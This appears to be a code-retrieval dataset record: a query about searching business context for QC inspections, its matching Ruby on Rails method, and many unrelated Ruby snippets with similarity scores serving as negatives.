"def index\n @actiontypes = Actiontype.all\n end",
"def test_list\n\n # Try listing from a non-Admin account.\n # VERIFY: The user is redirected.\n post :list, {}, rich_designer_session\n assert_redirected_to(:controller => 'tracker', :action => 'index')\n assert_equal(Pcbtr::MESSAGES[:admin_only], flash['notice'])\n\n # Try listing from an Admin account\n # VERIFY: The project list data is retrieved\n post(:list, { :page => 1 }, cathy_admin_session)\n assert_equal(5, assigns(:document_types).size)\n end",
"def test_shall_list_briefcase_items\n login_as :administrator\n get :list\n assert :success\n end",
"def index\n @types = Type.all\n end",
"def list(type)\n get(resource_path_for_entity_type(type) + \"?rows=all\")\n end",
"def index\n @test_rules = TestRule.all\n end",
"def tests(k)\n @tests.map{|t| t[k]}.compact\nend",
"def test_index\n get :index\n \n assert_redirected_to :action => :unread\n end",
"def type\n 'Test Case'\n end",
"def index\n @spec_types = SpecType.all\n end",
"def index\n @test_controllers = TestController.all\n end",
"def index\n @jquery_tests = JqueryTest.all\n end",
"def destroy\n @testtype.destroy\n respond_to do |format|\n format.html { redirect_to testtypes_url }\n format.json { head :no_content }\n end\n end",
"def index\n @fixit_tests = FixitTest.all\n end",
"def get_tray_by_type(username, type)\n $LOG.i \"running \" + __method__.to_s\n @client.get '/mc/v1/trays/' + username + '/' + type\n end",
"def get_tests_in_a_run(run_id)\n testrail_api_client.send_get(\"get_tests/#{run_id}\")\n end",
"def getTests\n\t\t\ttests = Array.new\n\t\t\[email protected] do |test,data|\n\t\t\t\ttests << test\n\t\t\tend\n\n\t\t\treturn tests\n\t\tend",
"def index\n @testpats = Testpat.all\n end",
"def index\n @case_tests = CaseTest.all\n end",
"def index\n @test_plays = TestPlay.all\n end",
"def get_all_synthetics_tests\n request(Net::HTTP::Get, \"/api/#{API_VERSION}/synthetics/tests\", nil, nil, false)\n end",
"def test_all\n assert_gets(\"/api/v2/#{api_class}?offset=0&limit=999\") { wf.all }\n end",
"def unStartedTests\n ret = Array.new\n @testCases.each { |t| ret << t.name unless t.ran? }\n ret\n end",
"def test_result_test_type(test_result)\n test_test_type(test_result.test)\n end",
"def test_list\n\n # Try editing from a non-Admin account.\n # VERIFY: The user is redirected.\n get(:list, {}, rich_designer_session)\n assert_redirected_to(:controller => 'tracker', :action => 'index')\n assert_equal(Pcbtr::MESSAGES[:admin_only], flash['notice'])\n\n # Try listing from an Admin account\n # VERIFY: The platform list data is retrieved\n post(:list, { :page => 1 }, cathy_admin_session)\n assert_equal(5, assigns(:platforms).size)\n\n end",
"def index\n @test_runs = TestRun.all\n @test_run = TestRun.new\n end",
"def get_tests(run_id)\n if !(/\\A\\d+\\z/ === run_id.to_s)\n print \"ERROR: get_tests called with non-numeric :run_id = '#{run_id}'\\n\"\n exit -1\n end\n uri = \"get_tests/#{run_id}\"\n @all_tests = @tr_con.send_get(uri)\n #print \" tests found: '#{@all_tests.length}'\\n\" if @all_tests.length > 0\n @all_tests.each_with_index do |next_test,ndx_test|\n print ' '*10\n print \" test-%02d:\" % [ndx_test+1]\n print \" id=%3d\" % [next_test['id']]\n print \" run_id=%s\" % [next_test['run_id']]\n print \" case_id=%s\" % [next_test['case_id']]\n print \" title=%-20s\" % [next_test['title']]\n print \"\\n\"\n get_results(next_test['id'])\n end\n return\nend",
"def test_truth\n assert_kind_of GroceryList, grocery_lists(:first)\n end",
"def index\n @test1s = Test1.all\n end",
"def index\n @tool_types = ToolType.all\n end",
"def index\n @copyeditor_tests = CopyeditorTest.all\n end",
"def test_cases_by_type\n test_cases.group_by(&:test_case_type)\n end",
"def index\n @testcases = Testcase.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @testcases }\n end\n end",
"def index\n admin_only do\n @testruns = []\n @debug_vars = []\n\t\t# Set header message\n\t\t@headertext = \"Scheduled Tests\"\n\t\t# Return all scheduled tests\n @test_runs = TestRun.scheduled_tests.paginate(:page => params[:page_scheduled], :per_page => 10)\n @debug_vars.push(@test_runs)\n\t\t@testruns2 = Testrun.scheduled_tests.paginate(:page => params[:page_scheduled], :per_page => 10)\n @debug_vars.push(@testruns2)\n @testruns = @testruns2.concat @test_runs\n\t\t@recurring_tests = RecurringSchedule.all().paginate(:page => params[:page_recur], :per_page => 10)\n end\n end",
"def pull_all\n storage = Array.new\n @catchpoint.get(\"tests\")[\"items\"].each do |test|\n test = Dish(test)\n storage << Dish(test)\n end\n return storage\n end",
"def index\n @validation_tests = ValidationTest.all\n end",
"def listing(type, **params)\n params[:t] = params.delete(:time) if params.key?(:time)\n @client.model(:get, \"/user/#{get_attribute(:name)}/#{type}.json\", params)\n end",
"def listing(type, **params)\n params[:t] = params.delete(:time) if params.key?(:time)\n @client.model(:get, \"/user/#{get_attribute(:name)}/#{type}.json\", params)\n end",
"def index\n @reacttests = Reacttest.all\n end",
"def test\n self.test_session.test\n end",
"def tests; end",
"def tests; end"
] |
[
"0.65544206",
"0.6244059",
"0.5977399",
"0.58196515",
"0.55817896",
"0.55817896",
"0.55817896",
"0.55817896",
"0.55817896",
"0.55817896",
"0.55817896",
"0.55817896",
"0.553468",
"0.55223304",
"0.5468912",
"0.5380662",
"0.5369858",
"0.5356228",
"0.5355891",
"0.5321143",
"0.5319089",
"0.5312009",
"0.530521",
"0.5270546",
"0.52662575",
"0.5215747",
"0.5213092",
"0.5210708",
"0.52060366",
"0.5201524",
"0.52002287",
"0.51996064",
"0.5164592",
"0.51643646",
"0.51579934",
"0.5149695",
"0.5138373",
"0.51282203",
"0.51156914",
"0.51121354",
"0.5105473",
"0.51010734",
"0.50995797",
"0.50993264",
"0.5080136",
"0.5077849",
"0.50721514",
"0.5069035",
"0.5064079",
"0.5059805",
"0.5055616",
"0.50440025",
"0.5031573",
"0.5030709",
"0.50210166",
"0.5016654",
"0.5002083",
"0.49827105",
"0.4980587",
"0.49720776",
"0.49718878",
"0.4964324",
"0.49637154",
"0.49613467",
"0.4958552",
"0.49585313",
"0.49529415",
"0.49479318",
"0.4946976",
"0.49454916",
"0.49349687",
"0.49316877",
"0.4930966",
"0.4926729",
"0.4911064",
"0.49062923",
"0.49019995",
"0.49014995",
"0.48949957",
"0.4891789",
"0.48854378",
"0.48831838",
"0.4875752",
"0.48744786",
"0.48743635",
"0.48730683",
"0.4871028",
"0.4869946",
"0.48685223",
"0.48651123",
"0.48586485",
"0.48585424",
"0.48486117",
"0.48483288",
"0.48396736",
"0.483534",
"0.483534",
"0.48274127",
"0.48258525",
"0.48238438",
"0.48238438"
] |
0.0
|
-1
|
SEARCH FOR INSPECTIONS Find the business data on which an inspection will take place. If the parameter +with_inspection+ is true, the search will be run for existing inspections.
|
def search_business_context(with_inspections=false)
return if authorise_for_web(program_name(params[:id]),'create')== false
# Show a data miner...
inspection_type = QcInspectionType.find_by_qc_inspection_type_code(params[:id])
if inspection_type.nil?
raise "Unknown Inspection Type: '#{params[:id]}'. The inspection type is not setup correctly or the menu system is not correctly defined."
end
data_miner = inspection_type.qc_business_context_search
data_miner.sub!('.yml', '_active.yml') if with_inspections
session[:qc_inspection_type_code] = inspection_type.qc_inspection_type_code
dm_session[:parameter_fields_values] = nil
session[:qc_inspection_exists] = with_inspections
dm_session['se_layout'] = 'content'
@content_header_caption = "'search'"
dm_session[:redirect] = true
build_remote_search_engine_form(data_miner, 'submit_business_context_search')
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def search_inspections\n search_business_context( true )\n end",
"def basic_search(data)\n fill_in_if_supplied('product_id', data['Product Id'])\n select_if_supplied('designer_id', data['Designer'])\n select_if_supplied('season_id', data['Season'])\n select_if_supplied('season_act_id', data['Act'])\n select_if_supplied('product_department_id', data['Department'])\n fill_in_if_supplied('keywords', data['Keywords'])\n fill_in_if_supplied('style_ref', data['Style Ref'])\n fill_in_if_supplied('sku', data['Legacy Sku'])\n select_if_supplied('channel_id', data['Channel'])\n find_and_set_if_supplied(stock_locator(data), data['Stock / Sample'])\n end",
"def ingredient_search(opts = {})\n data, _status_code, _headers = ingredient_search_with_http_info(opts)\n data\n end",
"def look_up\n raise 'Missing search data!' unless @conditions.valid?\n\n # get tickets/users data\n data = DataStore.instance.send(@conditions.option)\n # a flag to indicate if the search term is an arary type or not\n is_array_term = array_term?(data, @conditions.term)\n\n # travese all data\n @results = data.select do |d|\n if is_array_term # run an array search if the search term is an array field\n values = @conditions.value.split(',').map(&:strip)\n values.all? { |value| d[@conditions.term].include?(value) }\n else # run a normal value match search instead\n d[@conditions.term].to_s == @conditions.value\n end\n end\n\n # make an axtra look up to get associated ticket names or assignee names\n send(\"extra_#{@conditions.option}_data_look_up\")\n end",
"def search_data\n attributes.merge(\n brief_summary: brief_summary && brief_summary.description,\n detailed_description: detailed_description && detailed_description.description,\n browse_condition_mesh_terms: browse_conditions.map(&:mesh_term),\n conditions: conditions.map(&:downcase_name),\n browse_interventions_mesh_terms: browse_interventions.map(&:mesh_term),\n interventions_mesh_terms: interventions.map(&:name).reject(&:nil?),\n interventions: interventions.map(&:description).reject(&:nil?),\n design_outcome_measures: design_outcomes.map(&:measure),\n facility_names: facilities.map(&:name),\n facility_states: facilities.map(&:state),\n facility_cities: facilities.map(&:city),\n facility_countries: facilities.map(&:country),\n locations: facility_coords_hash,\n average_rating: average_rating,\n reviews_count: reviews.count,\n reviews: reviews && reviews.map(&:text),\n sponsors: sponsors && sponsors.map(&:name),\n rating_dimensions: rating_dimensions.keys,\n indexed_at: Time.now.utc,\n study_views_count: study_view_logs.count,\n wiki_page_edits: {\n email: wiki_page_edits.map(&:user).map(&:email),\n created_at: wiki_page_edits.map(&:created_at).map(&:to_time),\n },\n reactions:{\n email: reactions.order(:id).map(&:user).map(&:email),\n kind: reactions.order(:id).map(&:reaction_name)\n\n },\n ).merge(\n average_rating_dimensions,\n ).merge(\n wiki_search_data,\n ).except(\n # https://github.com/clinwiki-org/clinwiki/issues/111\n *NON_INDEX_FIELDS, *NON_INDEX_FIELDS.map(&:to_s)\n )\n end",
"def index\n if params[:company_id].present?\n @company_id = params[:company_id]\n @inspections = Inspection.where(company_id: @company_id)\n else\n @inspections = Inspection.all\n end\n end",
"def set_inspection\n @inspection = Inspection.find(params[:id])\n @documents = @inspection.try(:documents)\n @clients = @inspection.try(:appointment).try(:insp_request).try(:property).try(:clients)\n @project = Project.find(params[:project_id]) if params[:project_id].present?\n end",
"def enquiries_search(opts = {})\n data, _status_code, _headers = enquiries_search_with_http_info(opts)\n data\n end",
"def find_with_searchlogic(*args)\n options = args.extract_options!\n options = filter_options_with_searchlogic(options)\n args << options\n find_without_searchlogic(*args)\n end",
"def assoc_searchable(*args)\n opts = args.extract_options!\n args.flatten.each do |assoc|\n assoc = assoc.to_s\n raise(ArgumentError, \"No such association #{assoc} in #{self}\") unless self.reflect_on_all_associations.map {|a| a.name.to_s}.include?(assoc)\n self._metasearch_include_associations = self._metasearch_include_associations.merge(\n assoc => {\n :if => opts[:if]\n }\n )\n end\n end",
"def search\n # figure out if the search parameter looks like a first or last name only, or both\n @search = params[:search]\n if @search && [email protected]?\n \tnames = @search.strip.split(' ')\n \tconditions = [[],[]]\n \tif (names.size > 1)\n\t \tfirst = names[0].to_s\n \t\tlast = names[1].to_s\n\t \tconditions[0] << \"#{_(:last_name, :person)} LIKE ? AND #{_(:first_name, :person)} LIKE ? \"\n\t \tconditions[1] << last + \"%\"\n\t \tconditions[1] << first + \"%\"\n\t \telse\n\t \t name = names.join\n\t \t\tconditions[0] << \"(#{_(:last_name, :person)} LIKE ? OR #{_(:first_name, :person)} LIKE ?) \"\n\t \t\tconditions[1] << name+'%'\n\t \t\tconditions[1] << name+'%' \n\t \tend\n\t \tif params[:filter_ids].present?\n\t \t conditions[0] << \"#{_(:id, :person)} NOT IN(?)\"\n\t \t conditions[1] << params[:filter_ids]\n \t end\n \t \n \t # Scope by the user's ministry / campus involvements\n \t involvement_condition = \"(\"\n \t if my_campus_ids.present?\n \t involvement_condition += \"#{CampusInvolvement.table_name}.#{_(:campus_id, :campus_involvement)} IN(?) OR \" \n \t \tconditions[1] << my_campus_ids\n \t end\n \t involvement_condition += \"#{MinistryInvolvement.table_name}.#{_(:ministry_id, :ministry_involvement)} IN(?) )\" \n \t \n\t \tconditions[0] << involvement_condition\n\t \tconditions[1] << current_ministry.self_plus_descendants.collect(&:id)\n\t \t\n\t \t@conditions = [ conditions[0].join(' AND ') ] + conditions[1]\n \n includes = [:current_address, :campus_involvements, :ministry_involvements]\n\t \t@people = Person.find(:all, :order => \"#{_(:last_name, :person)}, #{_(:first_name, :person)}\", :conditions => @conditions, :include => includes)\n\t \trespond_to do |format|\n\t \t if params[:context]\n\t \t format.js {render :partial => params[:context] + '/results', :locals => {:people => @people, :type => params[:type], :group_id => params[:group_id]}}\n \t else\n \t format.js {render :action => 'results'}\n\t end\n\t \tend\n\t else\n\t render :nothing => true\n\t end\n end",
"def gather_search\n local_search = Search.search @query\n unless local_search.nil?\n local_search = FoodItem.fetch_local_items local_search['food_items']\n return local_search unless local_search.nil?\n end\n\n remote_search = search_apis @query # adds searches remote end for elements\n unless remote_search.nil?\n Search.add @query, remote_search # adds elements to search\n remote_search = add_multiple_food_items remote_search unless remote_search.nil?\n return remote_search unless remote_search.nil?\n end\n\n nil # fallback\n end",
"def pendings_search(current_projects, no, bill_no, project, c, s, street_name, bank_account, period, user, biller, issue_date, payday_limit)\n Bill.search do\n with(:invoice_status_id, 0..98)\n if !current_projects.blank?\n with :project_id, current_projects\n end\n\n # By invoice_no\n if !no.blank?\n if no.class == Array\n with(:invoice_ids, no)\n else\n with(:invoice_no).starting_with(no)\n end\n end\n # By raw invoice No\n # if !no.blank?\n # if no.class == Array\n # with :raw_invoice_no, no\n # else\n # with(:raw_invoice_no).starting_with(no)\n # end\n # end\n\n # By bill_no\n if !bill_no.blank?\n if bill_no.class == Array\n with :bill_no, bill_no\n else\n with(:bill_no).starting_with(bill_no)\n end\n end\n # By raw bill No\n # if !bill_no.blank?\n # if bill_no.class == Array\n # with :raw_bill_no, bill_no\n # else\n # with(:raw_bill_no).starting_with(bill_no)\n # end\n # end\n\n # by project\n if !project.blank?\n with :project_id, project\n end\n # Client\n # if !client.blank?\n # if client.class == Array\n # with :client_code_name_fiscal, client\n # else\n # with(:client_code_name_fiscal).starting_with(client)\n # end\n # end\n # if !c.empty?\n # with :client_ids, c\n # end\n if !c.blank?\n with :client_id, c\n end\n # Subscriber\n # if !subscriber.blank?\n # if subscriber.class == Array\n # with :subscriber_code_name_fiscal, subscriber\n # else\n # with(:subscriber_code_name_fiscal).starting_with(subscriber)\n # end\n # end\n # if !s.empty?\n # with :subscriber_ids, s\n # end\n if !s.blank?\n with :subscriber_id, s\n end\n # Supply address\n if !street_name.blank?\n if street_name.class == Array\n with :supply_address, street_name\n else\n with(:supply_address).starting_with(street_name)\n end\n end\n # if !street_name.blank?\n # with :supply_address, street_name\n # end\n # if !street_name.blank?\n # with :subscriber_id, street_name\n # end\n # Have active bank account?\n if (bank_account == true || bank_account == false)\n with :bank_account, bank_account\n end\n # Billing period\n if !period.blank?\n with :billing_period_id, period\n end\n # Created by (user)\n if !user.blank?\n with :created_by, user\n end\n # Biller\n if !biller.blank?\n with :biller_ids, biller\n end\n # Bill date\n if !issue_date.blank?\n with :bill_date, issue_date\n end\n # Payday limit\n if !payday_limit.blank?\n with :payday_limit, payday_limit\n end\n data_accessor_for(Bill).include = [{client: :client_bank_accounts}, :subscriber, :invoice_status, :payment_method, {invoices: [:invoice_type, :invoice_operation, {invoice_items: :tax_type}]}, :instalments]\n # field_list :id, :bill_no\n order_by :sort_no, :asc\n paginate :page => params[:bills_pending_page] || 1, :per_page => 10\n end\n end",
"def inspections\n @inspections ||= DboInspection.where(\"MemberID = ? and BranchID = ?\", read_attribute('MemberID'), read_attribute('BranchID'))\n .order('InsDate DESC')\n end",
"def search\n return Developer.none if email.present? && prog_lang.present? && language_code.present?\n\n query = Developer.all\n query = query.where('email like :search_text', search_text: \"%#{sanitize_sql_like(email)}%\") if email.present?\n query = query.joins(:programming_languages).where(programming_languages: {name: prog_lang}) if prog_lang.present?\n query = query.joins(:languages).where(languages: {code: language_code}) if language_code.present?\n query.order(created_at: :desc)\n end",
"def current_qc_business_context_search\n return if authorise_for_web(program_name(params[:id]),'create')== false\n session[:qc_inspection_type_code] = params[:id]\n qc_current_inspection = ActiveRecord::Base.connection.select_one(\"select * from qc_current_inspections\n where user_id = #{session[:user_id].id}\n and qc_inspection_type_code = '#{params[:id]}'\")\n if qc_current_inspection.nil? || qc_current_inspection.qc_business_context_query.nil?\n redirect_to_index(\"'You have not yet captured an inspection for #{params[:id]}'\", \"''\")\n else\n dm_session[:search_engine_query_definition] = qc_current_inspection.qc_business_context_query\n session[:columns_list] = YAML.load(qc_current_inspection.columns_list)\n submit_business_context_search\n end\n end",
"def search\n binding.pry\n @recipe = Recipe.where\n end",
"def search \n \n @search_text = params[:search_text] || \"\"\n \n escaped_search_text = Riddle.escape(@search_text) \n \n # Search only non-uninitialized association members\n organizations = Organization.search escaped_search_text,\n :with => { :uninitialized_association_member => 0 },\n :per_page => 1000,\n :star => true \n \n if current_association then\n \n # Search uninitialized association members\n association_organizations = Organization.search escaped_search_text, \n :with => { \n :association_ids => current_association.id, \n :uninitialized_association_member => 1 \n },\n :per_page => 1000,\n :star => true\n \n # Join the association/non-association member results together\n organizations = organizations.concat(association_organizations)\n end\n \n respond_to do |wants|\n \n wants.json do\n \n # When rendering the organizations as json, we only want to render certain attributes/methods. Rendering\n # all of the attributes hurts performance as well as exposes sensitive information that\n # should not be shared.\n render :json => organizations.sort {|x,y| x.name <=> y.name }.to_json(\n :only => [:name, :location, :id, :contact_name],\n :methods => 'name_and_location')\n \n end\n \n end\n \n end",
"def autocomplete_ingredient_search(opts = {})\n data, _status_code, _headers = autocomplete_ingredient_search_with_http_info(opts)\n data\n end",
"def filter_findings\n findings\n end",
"def by_ingredient_search(query)\n ingredient_query = Ingredient.where('name LIKE ?', \"%#{query}%\")\n if ingredient_query.any?\n return self.approved.where(:id => ingredient_query.collect(&:recipes).flatten.uniq.collect(&:id))\n end\n return self.approved\n end",
"def search_by_ingredient(primary_ingredient)\n # API EXAMPLE: https://www.themealdb.com/api/json/v1/1/filter.php?i=chicken_breast\n url_end = \"filter.php?i=#{primary_ingredient}\"\n content = api_call(url_end)\n validate(content)\n content\n end",
"def search\n check_throttle_limits\n @search ||= Savon.client(\n wsdl: SEARCH_WSDL,\n headers: { 'Cookie' => \"SID=\\\"#{session_id}\\\"\", 'SOAPAction' => '' },\n env_namespace: :soapenv,\n logger:,\n log: true,\n log_level: @log_level,\n pretty_print_xml: true\n )\n rescue Savon::SOAPFault => e\n # this may occur if the session identifier timed out and we didn't catch it, this allows us to request\n # a new session identifier and try the API call again\n # see https://github.com/sul-dlss/sul_pub/wiki/Web-of-Sciences-Expanded-API-Throttle-Limits for known API limits\n # the number of queries per session should already be accounted for, but not the time out limit\n raise e unless e.message.include? 'There is a problem with your session identifier (SID)'\n\n session_close\n retry\n end",
"def searched_items\n # search by city_section if that param is passed in (convert city_section string name to key for db lookup first)\n #if params[:city_section]\n # @the_things = DonorPickup.city_section_is(params[:city_section]).paginate(default_pagination_params)\n # return\n #end\n \n \n @the_things = DonorPickup.first_name_like(params[:search_first_name]).\n last_name_like(params[:search_last_name]).\n address_like(params[:search_address]).\n with_state(params[:search_state]).\n with_priority(params[:search_priority]).\n is_pending(params[:search_pending]).\n city_section_is(params[:search_city_section]).\n for_pickup_date_range(params[:search_pickup_time_lowest], params[:search_pickup_time_highest]).\n select{ |dp| params[:search_item_id].blank? ? true : dp.has_this_item?(params[:search_item_id].to_i)}.\n paginate(default_pagination_params)\n \n end",
"def all_search\n @results ||= []\n feat_keyword ||= {:name_contains => params[:q]}\n reward_keyword ||= {:partner_business_name_contains => params[:q]}\n\n Feat.search(feat_keyword).all.each do |r|\n @results << r\n end if !Feat.search(feat_keyword).all.nil? && feat_keyword.length > 0\n\n Reward.search(reward_keyword).all.each do |r|\n @results << r\n end if !Reward.search(reward_keyword).all.nil? && reward_keyword.length > 0\n end",
"def search_context\n builder = Builder.new(view_context)\n\n builder.with_snippet(@snippet) if @snippet.present?\n @snippets.each(&builder.method(:with_snippet)) if @snippets.present?\n builder.with_project(@project) if @project.present? && @project.persisted?\n builder.with_group(@group) if @group.present? && @group.persisted?\n builder.with_ref(@ref) if @ref.present?\n\n builder.build!\n end",
"def queries(with_orgs=true)\n condition_parts(with_orgs).reduce(:merge)\n end",
"def index\n @inventories = Inventory\n\n if params[:search]\n puts \"-----testing \"\n # @inventories = @inventories.search(params[:search])\n @department = params[:department]\n @check_user=params[:check_user]\n @position_begin = params[:position_begin]\n @position_end = params[:position_end]\n @part_nr = params[:part_nr]\n @ios_created_id = params[:ios_created_id]\n @is_random_check = params[:is_random_check]\n @inventories = Inventory.search_by_condition(@department, @position_begin, @position_end, @part_nr, @ios_created_id, @is_random_check, {check_user: @check_user,\n sn_begin:params[:sn_begin],\n\t\t\t\t\t\t\t sn_end:params[:sn_end],\n\t\t\t\t\t\t\t random_check_user: params[:random_check_user]})\n\n respond_to do |format|\n format.xlsx do\n send_data(entry_with_xlsx(@inventories), :type => \"application/vnd.openxmlformates-officedocument.spreadsheetml.sheet\",\n :filename => \"Inventory_#{DateTime.now.strftime(\"%Y%m%d%H%M%S\")}.xlsx\")\n end\n format.html do\n @inventories = @inventories.paginate(page: params[:page])\n # redirect_to inventories_url\n end\n end\n else\n @inventories = @inventories.order(sn: :asc).paginate(page: params[:page])\n end\n end",
"def advanced_search\n if params[:name] || params[:location] || params[:user] || params[:content]\n query = create_advanced_search_query(params)\n else\n return if handle_advanced_search_invalid_q_param?\n\n query = find_query(:Observation)\n end\n show_selected_observations(query)\n rescue StandardError => e\n flash_error(e.to_s) if e.present?\n redirect_to(search_advanced_path)\n end",
"def open_new_inspection\n if self.inspection_type_setting.present?\n\n new_insp = InspectionGenerator.new(self.inspection_type_setting).create\n\n new_insp_elements = {}\n\n new_insp.elements.each do |elem|\n new_insp_elements[elem.element_definition_id] = [elem.quantity, elem.notes, elem.parent&.element_definition_id]\n\n elem.defects.pluck(\"defect_definition_id\",\"condition_state_1_quantity\", \"condition_state_2_quantity\", \"condition_state_3_quantity\", \"condition_state_4_quantity\", \"total_quantity\", \"notes\").each do |defect|\n new_insp_elements[elem.element_definition_id] << { defect[0] => defect[1..-1] }\n end\n end\n\n # update all other open inspections\n self.highway_structure.inspections.where(state: ['open', 'ready']).where.not(id: new_insp.id).each do |insp|\n insp = Inspection.get_typed_inspection(insp)\n\n (insp.class.attribute_names.map{|x| x.to_sym} + Inspection.attribute_names.map{|x| x.to_sym} - [:id, :object_key, :guid, :state, :event_datetime, :weather, :temperature, :calculated_inspection_due_date, :qc_inspector_id, :qa_inspector_id, :routine_report_submitted_at, :organization_type_id, :assigned_organization_id, :inspection_team_leader_id, :inspection_team_member_id, :inspection_team_member_alt_id, :inspection_type_id]).each do |field_name|\n insp.send(\"#{field_name}=\", new_insp.send(field_name))\n end\n insp.save\n\n insp.elements.each do |elem|\n if new_insp_elements[elem.element_definition_id]\n elem.quantity = new_insp_elements[elem.element_definition_id][0]\n elem.notes = new_insp_elements[elem.element_definition_id][1]\n elem.parent = insp.elements.find_by(element_definition_id: new_insp_elements[elem.element_definition_id][2]) if new_insp_elements[elem.element_definition_id][2].present?\n elem.save\n\n elem.defects.each do |defect|\n\n if new_insp_elements[elem.element_definition_id][3][defect.defect_definition_id]\n defect.condition_state_1_quantity = new_insp_elements[elem.element_definition_id][3][defect.defect_definition_id][0]\n defect.condition_state_2_quantity = new_insp_elements[elem.element_definition_id][3][defect.defect_definition_id][1]\n defect.condition_state_3_quantity = new_insp_elements[elem.element_definition_id][3][defect.defect_definition_id][2]\n defect.condition_state_4_quantity = new_insp_elements[elem.element_definition_id][3][defect.defect_definition_id][3]\n defect.total_quantity = new_insp_elements[elem.element_definition_id][3][defect.defect_definition_id][4]\n defect.notes = new_insp_elements[elem.element_definition_id][3][defect.defect_definition_id][5]\n defect.save\n else\n defect.destroy\n end\n end\n\n # add new defects\n new_insp.elements.find_by(element_definition_id: elem.element_definition_id).defects.where.not(defect_definition_id: elem.defects.select(:defect_definition_id)).each do |defect|\n new_defect = defect.dup\n new_defect.object_key = nil\n new_defect.guid = nil\n new_defect.element = elem\n new_defect.inspection = elem.inspection\n new_defect.save\n\n end\n else\n elem.destroy\n end\n end\n\n # add new elements\n new_insp.elements.where.not(element_definition_id: insp.elements.select(:element_definition_id)).each do |elem|\n new_elem = elem.dup\n new_elem.object_key = nil\n new_elem.guid = nil\n new_elem.inspection = insp.inspection\n new_elem.parent = insp.elements.find_by(element_definition_id: elem.parent.element_definition_id) if elem.parent\n new_elem.save\n end\n end\n\n new_insp\n end\n\n end",
"def index\n if params[:client_id].present? || params[:property_id].present? || params[:agent_id].present?\n if params[:search_filter] == \"Property\"\n @inspections = Inspection.joins(:appointment => :insp_request).where(\"insp_requests.property_id = ? \", params[:property_id]).paginate(page: params[:page])\n elsif params[:search_filter] == \"Client\"\n @inspections = Inspection.joins(:appointment => :insp_request).where(\"insp_requests.client_id = ? \", params[:client_id]).paginate(page: params[:page])\n elsif params[:search_filter] == \"Agent\"\n @inspections = Inspection.joins(:appointment => :insp_request).where(\"insp_requests.agent_id = ? \", params[:agent_id]).paginate(page: params[:page])\n end\n else\n @inspections = Inspection.all.paginate(page: params[:page])\n end\n @properties = Property.all.map{|p| [p.property_select_value, p.id]}\n @clients = Client.all.map{|c| [c.name, c.id]}\n @agents = Agent.all.map{|a| [a.name, a.id]}\n respond_to do |format|\n format.js\n format.csv { send_data Inspection.to_csv }\n format.html\n end\n end",
"def search(opts = {})\n starting_index = opts[:starting_index]\n\n search_string = URI.escape([\n opts[:keyword],\n 'intitle:\"Microsoft Security Bulletin\"',\n '-\"Microsoft Security Bulletin Summary\"'\n ].join(' '))\n\n req_str = \"#{GOOGLEAPIS}/customsearch/v1?\"\n req_str << \"key=#{api_key}&\"\n req_str << \"cx=#{search_engine_id}&\"\n req_str << \"q=#{search_string}&\"\n req_str << \"start=#{starting_index.to_s}&\"\n req_str << 'num=10&'\n req_str << 'c2coff=1'\n\n res = send_http_get_request(req_str)\n results = parse_results(res)\n if starting_index == 1\n print_verbose(\"Number of search results: #{get_total_results(results)}\")\n end\n\n results\n end",
"def set_inspection\n @inspection = Inspection.find(params[:id])\n end",
"def set_inspection\n @inspection = Inspection.find(params[:id])\n end",
"def set_inspection\n @inspection = Inspection.find(params[:id])\n end",
"def index\n #@institutions = Institution.all\n #@institutions = Institution.order(:name).page(params[:page]).per(20)\n=begin\n if params[:search_inputs].present?\n search_inputs = params[:search_inputs]\n klass = class_for(search_inputs[:model])\n search_term = search_inputs[:search_term]\n institutions = search_inputs[:institutions]\n tag_list = search_inputs[:tag_list]\n assigned_to_user_id = search_inputs[:assigned_to_user_id]\n @search_inputs = OpenStruct.new(search_inputs)\n else\n klass = Institution\n search_term = \"\"\n institutions = \"\"\n tag_list = \"\"\n @search_inputs = OpenStruct.new(model: klass)\n end\n\n @records = Search.new(model: klass, search_term: search_term, tag_list: tag_list, institutions: institutions, assigned_to_user_id: assigned_to_user_id, page: params[:page]).search\n=end\n=begin\n if params[:search_inputs].present?\n\n search_inputs = params[:search_inputs]\n klass = class_for(search_inputs[:model])\n search_term = search_inputs[:search_term]\n institutions = search_inputs[:institutions]\n tag_list = search_inputs[:tag_list]\n assigned_to_user_id = search_inputs[:assigned_to_user_id]\n #@search_inputs = OpenStruct.new(search_inputs)\n @search_inputs = params[:search_inputs]\n\n @records = Search.new(params[:search_inputs].to_h).search\n else\n klass = Institution\n @search_inputs = OpenStruct.new(model: klass)\n #[:search_inputs][:model] = Institution\n #@search_inputs = {model: Institution, search_term: \"\"}\n @records = Search.new(model: \"Institution\").search\n\n end\n=end\n\n if params[:search_inputs].present?\n @search_inputs = OpenStruct.new(params[:search_inputs])\n else\n @search_inputs = OpenStruct.new(model: \"Institution\")\n end\n @records = Search.new(@search_inputs).search\n @records = @records.page(params[:page]).per(20)\n\n #@records = Search.new(params[:search_inputs].to_h).search\n #@records = Search.new(model: klass, search_term: search_term, tag_list: tag_list, institutions: institutions, assigned_to_user_id: assigned_to_user_id, page: params[:page]).search\n\n respond_to do |format|\n format.html\n format.js { render :file => \"/basic/search_basic.js.erb\" }\n end\n end",
"def recipeingredientsearch\n @query = params[:search]\n @searchedingredients = params[:searchingredients].split(/, */)\n @searchtest = []\n @searchedingredients.each do |si|\n @searchtest.push(si.downcase)\n end\n \n Ingredient.where(\"lower(name) IN (:searching)\", \n {searching: @searchtest}).find_each do |ingredigrab|\n @searchingreed.push(ingredigrab)\n end\n RecipeIngredient.where(ingredient_id: @searchingreed).find_each do |ids|\n @recing.push(ids)\n end\n \n if params[:exclusive] == \"1\"\n Recipe.where(\"name like :name\", {name: \"%#{@query}%\"}).find_each do |r|\n insert = false\n if @recing != nil\n RecipeIngredient.where(\"recipe_id = ?\", r.id).find_each do |i|\n if @recing.include?(i) == true\n insert = true\n end\n end\n if insert == true\n @recipes.push(r)\n end\n end\n end\n else\n Recipe.where(\"name like :name\", {name: \"%#{@query}%\"}).find_each do |r|\n insert = true\n if (r.recipe_ingredients.all.empty? == true)\n @recipes.push(r)\n else\n if @recing != nil\n RecipeIngredient.where(\"recipe_id = ?\", r.id).find_each do |i|\n if @recing.include?(i) == true\n else\n insert = false\n end\n end\n if insert == true\n @recipes.push(r)\n end\n end\n end\n end\n end\n return @recipes\n end",
